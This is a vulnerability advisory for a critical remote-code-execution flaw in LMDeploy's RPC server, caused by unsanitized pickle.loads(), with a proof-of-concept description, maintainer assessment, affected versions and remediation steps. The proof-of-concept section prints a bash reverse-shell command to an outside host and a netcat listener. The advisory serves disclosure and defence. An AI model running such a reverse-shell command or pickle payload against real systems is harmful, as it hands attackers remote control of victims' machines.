GHSA-5h8j-6crg-7rmw: Critical severity pip/lmdeploy vulnerability

Published Sep 16, 2026
·
Updated

Description

The LMdeploy implements an rpc server (AsyncRPCServer in zmqrpc.py) for supporting the RPC communications. In its core functionality callandresponse(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.

Proof of Concept

Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.

Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell: <img width="832" height="324" alt="image" src="https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704" />

In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port.

Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine.

We also give a demo video in the attachment, along with modified zmqrpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmqrpc.py in pip site-packages with provided zmqrpc.py in the attachment and then run python poc.py {port}.

Impact Remote code execution in the victim's machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service.

Mitigation (1)Sanitize data before pickle.loads it (e.g., rewrite Unpickler.findclass to set a whitelist), or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads. (2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster. LMdeploy.zip

Maintainer assessment

This advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with pickle.loads().

The vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, AsyncRPCServer bound to tcp://, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload.

Version 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes.

Additional client-side pickle.loads() call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.

Affected Software

1 affected componentFixes available
pip/lmdeploy>=0.9.1<0.10.2
0.10.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lmdeploy to a version that resolves this vulnerability.

    Fixed in 0.10.2
  2. Upgrade

    Upgrade LMdeploy to a version that resolves this vulnerability.

    Fixed in 0.10.2
  3. Configuration

    Modify the RPC server/client message handling so that untrusted ZMQ RPC messages cannot reach pickle.loads without sanitization/whitelisting, and enable authentication in the RPC service so only authenticated and trusted users may join the cluster.

    LMdeploy RPC (AsyncRPCServer / call_and_response) pickle message handling = Use authenticated-only / trusted-users access and/or replace insecure deserialization (avoid direct pickle.loads of received messages); specifically, sanitize before pickle.loads (e.g., rewrite Unpickler.find_class with a whitelist) or replace pickle.loads with safer serialization such as safetensors or msgpack.
  4. Compensating control

    Ensure the LMdeploy RPC endpoint (AsyncRPCServer in zmq_rpc.py / call_and_response) is bound only to localhost so it remains inaccessible to untrusted network peers; this corresponds to the change in v0.10.2 where the RPC server binding moved from tcp://* to localhost.

Event History

Sep 16, 2026
Advisory Published
via GitHub·03:34 PM
Data Sourced
via GitHub·03:34 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Deployments that run LMdeploy's AsyncRPCServer and make its RPC address reachable over a network interface are exposed. The proof of concept describes an attacker sending data directly to the remote RPC address.

2

What does an attacker need to exploit it?

An attacker needs network access to the RPC server address and the ability to send a malicious pickle payload. The supplied severity vector indicates no privileges or user interaction are required.

3

How can I determine whether my deployment is at risk?

Check whether LMdeploy is running the AsyncRPCServer implementation in zmq_rpc.py and whether its call_and_response() path accepts messages from a reachable RPC endpoint. The vulnerable behavior is deserializing received messages with pickle.loads() without sanitization.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203